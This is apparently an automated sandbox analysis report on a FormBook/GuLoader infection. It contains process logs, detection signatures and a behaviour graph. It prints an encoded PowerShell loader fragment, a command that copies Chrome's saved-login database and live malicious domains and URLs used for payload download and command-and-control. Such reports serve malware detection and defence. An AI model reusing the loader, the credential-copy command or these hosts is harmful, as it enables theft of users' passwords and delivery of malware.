AOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAEIAVQBUAFQARQBSAE0AQQAsAHUAaQBuAHQAIABDAG8AbgB0AHIAYQA2ACwAaQBuAHQAIAB1AG4AZAB2AHIAcABpAGUAdABpACwAaQBuAHQAIABPAGYAYQB5AHYAZQAwACwAaQBuAHQAIABGAG8AbABkAHkAcwB5ADcALABpAG4AdAAgAE8AYgBvAGUAcgA4ACwAaQBuAHQAIABCAEwAVQBGAEYAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAFIAZQBhAGQARgBpAGwAZQAoAGkAbgB0ACAAUgBhAHMAawBvADgAMAAsAHUAaQBuAHQAIABSAGEAcwBrAG8AOAAxACwASQBuAHQAUAB0AHIAIABSAGEAcwBrAG8AOAAyACwAcgBlAGYAIABJAG4AdAAzADIAIABSAGEAcwBrAG8AOAAzACwAaQBuAHQAIABSAGEAcwBrAG8AOAA0ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAYQBsAGwAVwBpAG4AZABvAHcAUAByAG8AYwBXACgASQBuAHQAUAB0AHIAIABSAGEAcwBrAG8AOAA1ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA2ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA3ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA4ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAEgAdQB0AHUANwAgAGcAYQByAGEAbgAgAGQAeQBzAGMAaAAgAFUATgBVAE4ASQAgAFMAdABvAHIAIABPAFYARQBSAEkATgAgAGwAaQBmAHQAbQBhACAARQBsAGUAYwB0AHIAbwBkAGkAIABJAHIAcgBpAHQAZQByAGUAdAA0ACAAQgBvAG4AaQBuAGkAdABlADcAIABlAGMAZAB5AHMAbwBuAGEAbgAgAHMAaABhAHIAIABLAGEAcgBhAG4AdABuAGUAcwB0ACAAYgByAHUAdAB0AG8AIABhAG4AdAByAGEAYwBpACAARgB5AHIAbQBlACAATABhAHUAZAByAHUAcAB0AHIAaQA2ACAAZABlAHMAcABvAHQAaQB6ACAAVABlAG0AcABlAGwAawAgAFIAZQB0AHMAcwBpAGsAIABkAGUAbQBvAHUAZABnAGEAdgBlACAAVABBAEMAVABVACAATwBiAGoAdQAgAEwAVQBEAEkAQwBSAE8AVQBTAEMAIABzAHQAdQBtACAAV Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5wwhq3bl\5wwhq3bl.cmdline Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4377.tmp" "c:\Users\user\AppData\Local\Temp\5wwhq3bl\CSCEED551C9B69E4D3BACB27851B833AAE.TMP" Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Process created: C:\Windows\SysWOW64\cmd.exe /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V Jump to behavior
Source: explorer.exe, 00000018.00000000.688218123.0000000000EE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000018.00000000.679029461.00000000083E7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000018.00000000.707977610.0000000004F80000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000018.00000000.696204667.00000000083E7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000018.00000000.667253019.0000000000EE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000018.00000000.757490893.0000000000EE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000018.00000000.705115413.0000000000EE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000018.00000000.759848257.0000000004F80000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000018.00000000.688218123.0000000000EE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000018.00000000.666851055.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000018.00000000.667253019.0000000000EE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000018.00000000.757490893.0000000000EE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000018.00000000.705115413.0000000000EE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000018.00000000.756579191.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000018.00000000.687801292.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000018.00000000.704619524.00000000008B8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000018.00000000.688218123.0000000000EE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000018.00000000.667253019.0000000000EE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000018.00000000.757490893.0000000000EE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000018.00000000.705115413.0000000000EE0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: &Program Manager
Source: explorer.exe, 00000018.00000000.688218123.0000000000EE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000018.00000000.667253019.0000000000EE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000018.00000000.757490893.0000000000EE0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000018.00000000.705115413.0000000000EE0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock

Language, Device and Operating System Detection
barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 0000001A.00000002.874088041.0000000002A10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.873877212.0000000002710000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000000.698865578.000000000DD15000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.873684957.0000000000550000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.729280321.0000000002C20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.729334535.0000000002C50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000000.716819564.000000000DD15000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\SysWOW64\svchost.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\SysWOW64\svchost.exe File opened: C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 0000001A.00000002.874088041.0000000002A10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.873877212.0000000002710000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000000.698865578.000000000DD15000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.873684957.0000000000550000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.729280321.0000000002C20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.729334535.0000000002C50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000000.716819564.000000000DD15000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 558870 Sample: Remittance Information (MT-... Startdate: 24/01/2022 Architecture: WINDOWS Score: 100 67 Found malware configuration 2->67 69 Malicious sample detected (through community Yara rule) 2->69 71 Yara detected GuLoader 2->71 73 12 other signatures 2->73 11 wscript.exe 2 2->11         started        process3 signatures4 85 VBScript performs obfuscated calls to suspicious functions 11->85 87 Wscript starts Powershell (via cmd or directly) 11->87 89 Very long command line found 11->89 91 Encrypted powershell cmdline option found 11->91 14 powershell.exe 25 11->14         started        process5 signatures6 95 Writes to foreign memory regions 14->95 97 Tries to detect Any.run 14->97 99 Hides threads from debuggers 14->99 17 ieinstal.exe 6 14->17         started        21 csc.exe 3 14->21         started        24 conhost.exe 14->24         started        process7 dnsIp8 51 bulkwhatsappsender.in 151.106.117.33, 443, 49820 PLUSSERVER-ASN1DE Germany 17->51 53 www.bulkwhatsappsender.in 17->53 75 Modifies the context of a thread in another process (thread injection) 17->75 77 Tries to detect Any.run 17->77 79 Maps a DLL or memory area into another process 17->79 81 3 other signatures 17->81 26 explorer.exe 3 17->26 injected 49 C:\Users\user\AppData\Local\...\5wwhq3bl.dll, PE32 21->49 dropped 30 cvtres.exe 1 21->30         started        file9 signatures10 process11 dnsIp12 55 www.dentalbatonrouge.com 108.175.14.116, 49846, 49847, 49848 ONEANDONE-ASBrauerstrasse48DE United States 26->55 57 www.yzicpa.com 26->57 93 System process connects to network (likely due to code injection or exploit) 26->93 32 svchost.exe 1 18 26->32         started        36 ieinstal.exe 26->36         started        38 ieinstal.exe 26->38         started        signatures13 process14 file15 45 C:\Users\user\AppData\...\K-Nlogrv.ini, data 32->45 dropped 47 C:\Users\user\AppData\...\K-Nlogri.ini, data 32->47 dropped 59 Detected FormBook malware 32->59 61 Tries to steal Mail credentials (via file / registry access) 32->61 63 Tries to harvest and steal browser information (history, passwords, etc) 32->63 65 3 other signatures 32->65 40 cmd.exe 2 32->40         started        signatures16 process17 signatures18 83 Tries to harvest and steal browser information (history, passwords, etc) 40->83 43 conhost.exe 40->43         started        process19
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
108.175.14.116
 www.dentalbatonrouge.com United States
8560 ONEANDONE-ASBrauerstrasse48DE true
151.106.117.33
 bulkwhatsappsender.in Germany
61157 PLUSSERVER-ASN1DE true

Contacted Domains

Name IP Active
www.dentalbatonrouge.com 108.175.14.116 true
bulkwhatsappsender.in 151.106.117.33 true
www.bulkwhatsappsender.in unknown unknown
www.yzicpa.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.dentalbatonrouge.com/k6sm/ true
  • Avira URL Cloud: safe
 unknown
https://www.bulkwhatsappsender.in/bin_FlDFmmV154.bin1 true
  • Avira URL Cloud: safe
 unknown
1,0,350726710,000000A51B2F5000,00000104,00000010,00020000,00000000,1,0 true
    		low
    www.usyeslogistics.com/k6sm/ true
    • Avira URL Cloud: safe
    		 low
    https://www.bulkwhatsappsender.in/bin_FlDFmmV154.bin true
    • Avira URL Cloud: safe
    		 unknown
    http://www.dentalbatonrouge.com/k6sm/?d48pAVX=VId1XGgV51+banGxzL0dUPYEUmU95ttpJOMZNiN8gg3/S9FPXBDAGWpY0ehao+dqxo0M4PI93Q==&8pnDfl=Lb3tdB30pX2 true
    • Avira URL Cloud: safe
    		 unknown